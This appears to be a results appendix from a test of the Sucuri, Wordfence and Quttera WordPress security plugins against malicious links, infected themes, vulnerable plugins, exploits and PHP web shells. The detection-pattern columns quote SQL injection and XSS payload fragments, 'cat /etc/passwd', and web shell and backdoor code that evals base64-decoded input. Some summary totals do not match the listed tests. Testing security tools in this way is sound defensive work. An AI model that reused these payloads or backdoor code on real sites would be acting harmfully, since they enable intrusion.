***Analysis of the modern WordPress security plugins – detailed results***

*Table* 1: *Tests with addresses of malicious sites*

|  |  |
| --- | --- |
| **Name** | **Description** |
| Links in posts | 9 addresses located in <a> tags in random text in post |
| Comment | 3 addresses located in <a> tags in comment of post |
| Links in pages | 9 addresses located in <a> tags in random text in page |
| JavaScript redirect | A page that, when opened, immediately redirects to a malicious address via window.location.href |
| JavaScript redirect 2 | A page that, when opened, immediately redirects to a malicious address via window.location.replace |
| Link in menu | A link in the main menu of the site pointing to a malicious address |

*Table* *2*: *Tests* with themes containing *malicious* *files*

|  |  |
| --- | --- |
| **Name** | **Source** |
| Cerato v2.2.5 | downloadfreethemes.dev |
| Zimac v1.0 | downloadfreethemes.dev |
| Francesca Accessible | wpnull24.net |
| Parador Hotel | wpnull24.net |

*Table* 3: Tests with plugins containing malicious *files*

|  |  |
| --- | --- |
| **Name** | **Source** |
| Modal Survey v2.0.1.8.7 | downloadfreethemes.dev |
| ZF WordPress Category Search v2.7 | downloadfreethemes.dev |
| Timetable Responsive Schedule For WordPress v6.4 | downloadfreethemes.dev |
| Advanced Custom Fields PRO v5.11.3 | downloadfreethemes.dev |

*Table* 4: *Tests* with vulnerable *plugins*

|  |  |  |
| --- | --- | --- |
| **Name** | **Description** | **Source** |
| IQ Block Country v1.2.13 | Vulnerable to arbitrary file deletion via Zip Slip | Wordpress.org |
| MasterStudy LMS v2.7.5 | Versions <2.7.6 are vulnerable to unauthenticated admin account creation | Wordpress.org |
| Perfect Survey v1.5.1 | Versions < 1.5.2 are vulnerable to SQL Injection | Wordpress.org |
| Pie Register v3.7.1.4 | Version <= 3.7.1.4 are vulnerable to admin privilege escalation | Wordpress.org |
| Post Grid v2.1.1 | XSS vulnerability | Wordpress.org |
| Simple Job Board v2.9.3 | Local File Inclusion vulnerability | Wordpress.org |
| WP User Frontend v3.5.25 | Versions < 3.5.25 are vulnerable to SQL Injection | Wordpress.org |

*Table* 5: *Tests with real attacks to the vulnerable plugins*

|  |  |  |
| --- | --- | --- |
| **Name** | **Description** | **Source** |
| IQ Block Country – Arbitrary File Deletion via Zip Slip (Authenticated) | To exploit it a malicious actor need to create ZIP archive containing a file whose name contains a relative path to a file. When this archive is imported into the plugin, it deletes the specified file. | Exploit-db.com |
| MasterStudy LMS – Admin account Creation (Unauthenticated) | It has an unsecured endpoint, and when an appropriate POST request is sent, an administrator account is created | Exploit-db.com |
| Perfect Survey SQLi | Unsecured GET parameter allows unauthenticated users to perform SQL Injection. | Exploit-db.com |
| Pie Register – Admin Privilege Escalation | Vulnerable GET parameter gives the ability to access administrator’s cookie. | Exploit-db.com |
| Post Grid XSS | The plugin does not escape a GET parameter before outputting it back leading to Reflected XSS vulnerability. | Exploit-db.com |
| Simple Job Board – Local File Inclusion | Directory traversal vulnerability allows remote attackers to read arbitrary files | Exploit-db.com |
| WP User Frontend SQLi | Insufficient escaping on a user supplied parameter leads to SQL Injection vulnerability | Exploit-db.com |

*Table* *6*: *Tests* with *known* *malicious* *programs*

|  |  |  |
| --- | --- | --- |
| **Name** | **Description** | **Source** |
| C99 shell (KaizenLouie) | Safe build of the famous C99 web shell. Not obfuscated. | https://github.com/KaizenLouie |
| C99 shell (bediger4000) variant 1 | Obfuscated variant of C99. Original version with no changes. | https://github.com/bediger4000 |
| C99 shell (bediger4000) variant 1 de-obfuscated | Not obfuscated version of the previous row. | https://github.com/bediger4000 |
| Jijle3 web shell deobfuscated | Not obfuscated variation of WSO 2.5. | https://github.com/bediger4000 |
| Jijle3 web shell obfuscated | Obfuscated version of the previous row. | https://github.com/bediger4000 |
| The fack backdoor | Small backdoor that only executes base64 encoded PHP code using eval(). The size is 289 bytes. | https://github.com/bediger4000 |
| R57 shell obfuscated | One of the most popular PHP shells. Obfuscated. | https://hackingtool.net |
| R57 shell de-obfuscated | Not obfuscated version of the previous row. | https://hackingtool.net |
| IndoXploit shell obfuscated | Variation of IndoXploit. Obfuscated. | https://hackingtool.net |
| IndoXploit shell de-obfuscatedNot obfuscated version of the previous row. | Not obfuscated version of the previous row. | https://hackingtool.net |
| K2LL33D shell de-obfuscated | Not obfuscated version of the K2LL33D shell. | https://hackingtool.net |
| K2LL33D shell obfuscated | Obfuscated version of the previous row. | https://hackingtool.net |
| Mini shell obfuscated | Minimalistic shell. Obfuscated. | https://hackingtool.net |
| Mini shell de-obfuscated | Not obfuscated version of the previous row. | https://hackingtool.net |
| B374K shell obfuscated | Variation of the B374K shell. Obfuscated. | https://hackingtool.net |
| B374K shell de-obfuscated | Not obfuscated version of the previous row. | https://hackingtool.net |
| P0wny shell (flozz) | Not obfuscated shell. | https://github.com/flozz |

*Table* 7: Sucuri – results from the tests with addresses of malicious sites

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Links in posts |  | Failed |
| Comment |  | Failed |
| Links in pages |  | Failed |
| JavaScript redirect |  | Failed |
| JavaScript redirect 2 |  | Failed |
| Links in menu |  | Failed |

*Table* 8: Sucuri – results from the tests with themes containing *malicious* *files*

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Cerato v2.2.5 |  | Failed |
| Zimac v1.0 |  | Failed |
| Francesca Accessible |  | Failed |
| Parador Hotel |  | Failed |

*Table* *9*: Sucuri - results from the tests with plugins containing malicious files

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Modal Survey v2.0.1.8.7 |  | Failed |
| ZF WordPress Category Search v2.7 |  | Failed |
| Timetable Responsive Schedule For WordPress v6.4 |  | Failed |
| Advanced Custom Fields PRO v5.11.3 |  | Failed |

*Table 10:* Sucuri – results from the tests with vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country v1.2.13 |  | Failed |
| MasterStudy LMS v2.7.5 |  | Failed |
| Perfect Survey v1.5.1 |  | Failed |
| Pie Register v3.7.1.4 |  | Failed |
| Post Grid v2.1.1 |  | Failed |
| Simple Job Board v2.9.3 |  | Failed |
| WP User Frontend v3.5.25 |  | Failed |

*Table* 11: Sucuri – results from the tests with real attacks to the vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country – Arbitrary File Deletion via Zip Slip (Authenticated) |  | Failed |
| MasterStudy LMS – Admin account Creation (Unauthenticated) |  | Failed |
| Perfect Survey SQLi |  | Failed |
| Pie Register – Admin Privilege Escalation |  | Failed |
| Post Grid XSS |  | Failed |
| Simple Job Board – Local File Inclusion |  | Failed |
| WP User Frontend SQLi |  | Failed |

*Table* 12: *Sucuri – results from the tests with known malicious programs*

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| to save space, 4 different locations of the same programs will be *showed* here - /, wp-content/uploads, wp\_options, wp\_commentsmeta. The results will be marked with "P" for a passed test and "F" for a failed test; in the comment will be placed the template, due to the presence of which they are marked as malicious | | |
| C99 shell (KaizenLouie) |  | F, F, F, F |
| C99 shell (bediger4000) variant 1 |  | F, F, F, F |
| C99 shell (bediger4000) variant 1 de-obfuscated |  | F, F, F, F |
| Jijle3 web shell de-obfuscated |  | F, F, F, F |
| Jijle3 web shell obfuscated |  | F, F, F, F |
| The fack backdoor |  | F, F, F, F |
| R57 shell obfuscated |  | F, F, F, F |
| R57 shell de-obfuscated |  | F, F, F, F |
| IndoXploit shell obfuscated |  | F, F, F, F |
| IndoXploit shell de-obfuscated |  | F, F, F, F |
| K2LL33D shell de-obfuscated |  | F, F, F, F |
| K2LL33D shell obfuscated |  | F, F, F, F |
| Mini shell obfuscated |  | F, F, F, F |
| Mini shell de-obfuscated |  | F, F, F, F |
| B374K shell obfuscated |  | F, F, F, F |
| B374K shell de-obfuscated |  | F, F, F, F |
| P0wny shell (flozz) |  | F, F, F, F |

*Table* *13*: Wordfence – results from the tests with addresses of malicious sites

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Links in posts |  | Failed |
| Comment |  | Failed |
| Links in pages |  | Failed |
| JavaScript redirect |  | Failed |
| JavaScript redirect 2 |  | Failed |
| Link in menu |  | Failed |

*Table* 14: Wordfence – results from the tests with themes containing malicious files

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Cerato v2.2.5 |  | Passed |
| Zimac v1.0 |  | Passed |
| Francesca Accessible |  | Passed |
| Parador Hotel |  | Passed |

*Table* 15: Wordfence – results from the tests with plugins containing malicious files

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Modal Survey v2.0.1.8.7 |  | Passed |
| ZF WordPress Category Search v2.7 |  | Passed |
| Timetable Responsive Schedule For WordPress v6.4 |  | Passed |
| Advanced Custom Fields PRO v5.11.3 |  | Passed |

*Table* *16*: Wordfence – results from the tests with vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country v1.2.13 | It is correctly noted that the plugin has been deleted from the official repository and has unpatched security issues. | Passed |
| MasterStudy LMS v2.7.5 |  | Passed |
| Perfect Survey v1.5.1 | It is correctly noted that the plugin has been deleted from the official repository and has unpatched security issues. | Passed |
| Pie Register v3.7.1.4 |  | Passed |
| Post Grid v2.1.1 |  | Passed |
| Simple Job Board v2.9.3 |  | Passed |
| WP User Frontend v3.5.25 |  | Passed |

*Table* 17: Wordfence – results from the tests with real attacks to the vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country – Arbitrary File Deletion via Zip Slip (Authenticated) |  | Failed |
| MasterStudy LMS – Admin account Creation (Unauthenticated) | Pattern: action=stm\_lms\_register | Passed |
| Perfect Survey SQLi | Pattern: question\_id=1 UNION ALL SELECT 43,43,43,CONCAT(CONCAT('qjvbq','JyIvttXUkUwYkDqtUByOUEzhecvLvYonG… | Passed |
| Pie Register – Admin Privilege Escalation |  | Failed |
| Post Grid XSS | Pattern: tab="><script>alert(1)</script> | Passed |
| Simple Job Board – Local File Inclusion | *Successfully downloaded //etc/passwd* | Failed |
| WP User Frontend SQLi |  | Passed |

*Table* 18: Wordfence – results from the tests with known malicious programs

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| to save space, 4 different locations of the same programs will be *showed* here - /, wp-content/uploads, wp\_options, wp\_commentsmeta. The results will be marked with "P" for a passed test and "F" for a failed test; in the comment will be placed the template, due to the presence of which they are marked as malicious | | |
| C99 shell (KaizenLouie) | find / -type f -perm -04000 | P, P, F, F |
| C99 shell (bediger4000) variant 1 | <?PHP \x0a //Authentication \x0a$login = ""; //Login \x0a$pass = ""; //Pass \x0a$md5\_pass = ""; //If no pass then hash \x0aeval(gzinflate(base64\_decode('F | P, P, F, F |
| C99 shell (bediger4000) variant 1 de-obfuscated | find / -type f -perm -04000 | P, P, F, F |
| Jijle3 web shell de-obfuscated | cat /etc/passwd | P, P, F, F |
| Jijle3 web shell obfuscated | \x65\x76\x61\x6C\x28 | P, P, F, F |
| The fack backdoor | <?php \x0aerror\_reporting(0);\x0aset\_time\_limit(0);\x0aif ($\_GET['q']=='1'){echo '200'; exit;}\x0a\x0aif($\_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64\_decode($\_POST['fack']));\x0aif(md5($\_ | P, P, F, F |
| R57 shell obfuscated |  | F, F, F, F |
| R57 shell de-obfuscated | find / -type f -perm -04000 | P, P, F, F |
| IndoXploit shell obfuscated |  | F, F, F, F |
| IndoXploit shell de-obfuscated | function\_exists('exec')) { \x09\x09\x0d\x0a\x09\x09@exec($cmd,$results); | P, P, F, F |
| K2LL33D shell de-obfuscated | function\_exists('exec')) {@exec($cmd,$results); | P, P, F, F |
| K2LL33D shell obfuscated |  | F, F, F, F |
| Mini shell obfuscated |  | F, F, F, F |
| Mini shell de-obfuscated | if($\_POST['opt'] == 'chmod'){\x0d\x0aif(isset($\_POST['perm'])){\x0d\x0aif(chmod( | P, P, F, F |
| B374K shell obfuscated |  | F, F, F, F |
| B374K shell de-obfuscated | function\_exists('exec')){\x0d\x0a\x09\x09\x09@exec($code,$res); | P, P, F, F |
| P0wny shell (flozz) |  | F, F, F, F |

*Table* 19: Quttera - results from the tests with addresses of malicious sites

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Links in posts | 1/9 links were detected | Partially Passed |
| Comment |  | Failed |
| Links in pages | 1/10 links were detected | Partially Passed |
| JavaScript redirect |  | Failed |
| JavaScript redirect 2 | Flagged as potentially malicious because of the JavaScript function window.location.replace. However, the domain is not specified. | Passed |
| Link in menu |  | Passed |

*Table* *20*: Quttera – results from the tests with themes containing malicious files

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Cerato v2.2.5 | Flagged class.themes-modules.php as malicious file because of file\_get\_contents("h | Passed |
| Zimac v1.0 | Flagged class.themes-modules.php as malicious file because of file\_get\_contents("h | Passed |
| Francesca Accessible | Detected some of the files but not enough of them to prevent recovery | Failed |
| Parador Hotel | Detected some of the files but not enough of them to prevent recovery | Failed |

*Table* 21: Quttera – results from the tests with plugins containing malicious files

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| Modal Survey v2.0.1.8.7 | file\_get\_contents("h | Passed |
| ZF WordPress Category Search v2.7 | file\_get\_contents("h | Passed |
| Timetable Responsive Schedule For WordPress v6.4 | file\_get\_contents("h | Passed |
| Advanced Custom Fields PRO v5.11.3 | file\_get\_contents("h | Passed |

*Table 22*: Quttera – results from the tests with vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country v1.2.13 |  | Failed |
| MasterStudy LMS v2.7.5 |  | Failed |
| Perfect Survey v1.5.1 |  | Failed |
| Pie Register v3.7.1.4 |  | Failed |
| Post Grid v2.1.1 |  | Failed |
| Simple Job Board v2.9.3 |  | Failed |
| WP User Frontend v3.5.25 |  | Failed |

Table 23: Quttera – results from the tests with real attacks to the vulnerable plugins

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| IQ Block Country – Arbitrary File Deletion via Zip Slip (Authenticated) |  | Failed |
| MasterStudy LMS – Admin account Creation (Unauthenticated) |  | Failed |
| Perfect Survey SQLi |  | Failed |
| Pie Register – Admin Privilege Escalation |  | Failed |
| Post Grid XSS |  | Failed |
| Simple Job Board – Local File Inclusion |  | Failed |
| WP User Frontend SQLi |  | Failed |

*Table* 24: Quttera – results from the tests with known malicious programs

|  |  |  |
| --- | --- | --- |
| **Name** | **Comment** | **Result** |
| to save space, 4 different locations of the same programs will be *showed* here - /, wp-content/uploads, wp\_options, wp\_commentsmeta. The results will be marked with "P" for a passed test and "F" for a failed test; in the comment will be placed the template, due to the presence of which they are marked as malicious | | |
| C99 shell (KaizenLouie) | <?php /\* \*\*\*\*\*\*\* | P, F, F, F |
| C99 shell (bediger4000) variant 1 | eval(gzinflate(base6 | P, F, F, F |
| C99 shell (bediger4000) variant 1 de-obfuscated |  | F, F, F, F |
| Jijle3 web shell de-obfuscated | passthru')) { ob\_sta  <?php echo "  <?php } wsoFoote  LFI File dumper  onclick="g(\'FilesMa  $\_SERVER['HTTP\_USER\_  /etc/passwd | grep : | P, F, F, F |
| Jijle3 web shell obfuscated | eval("\x65\x76\x61\x <?php //######## | P, F, F, F |
| The fack backdoor | eval(base64\_decode($  <?php error\_repo | P, F, F, F |
| R57 shell obfuscated | eval("\x65\x76\x61\x  <?php /\*\*\* |+ ##  \x65\x76\x61\x6C\x28 | P, P, F, F |
| R57 shell de-obfuscated | Php /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  document.write(unesc  @eval($eval)...  @mail($to,$subj,"",$ | P, P, F, F |
| IndoXploit shell obfuscated | <?php $obirninja  eval(htmlspecialchar | P, F, F, F |
| IndoXploit shell de-obfuscated | $\_SERVER['HTTP\_USER\_ | P, F, F, F |
| K2LL33D shell de-obfuscated |  | F, P, F, F |
| K2LL33D shell obfuscated | <?php $obirninja  eval(htmlspecialchar | P, P, F, F |
| Mini shell obfuscated | <?php $obirninja  eval(htmlspecialchar | P, P, F, F |
| Mini shell de-obfuscated | file\_get\_contents($\_  document.write(unesc  multipart/form-data" | P, P, F, F |
| B374K shell obfuscated | <?php $obirninja  eval(htmlspecialchar | P, F, F, F |
| B374K shell de-obfuscated | php /\* b374k shell 3  <?php /\* b374k s  $\_SERVER['HTTP\_USER\_ | P, F, F, F |
| P0wny shell (flozz) |  | F, F, F, F |

*Table* 25: Summary of the tests results of Sucuri, Wordfence and Quttera

|  |  |  |  |
| --- | --- | --- | --- |
| **Name** | **Sucuri** | **Wordfence** | **Quttera** |
| Tests with addresses of malicious sites | 0/6 | 0/6 | 4/6 |
| Tests with themes containing malicious files | 0/4 | 4/4 | 2/4 |
| Tests with plugins containing malicious files | 0/18 | 15/18 | 4/18 |
| Tests with known malicious programs | 0/68 | 24/68 | 21/68 |
| Testing the protection against users/passwords brute-force | Failed | Passed | Failed |
| Performance tests | Good performance | +30% from the firewall  +340% during scanning | +100% during scanning  very slow >20 mins. |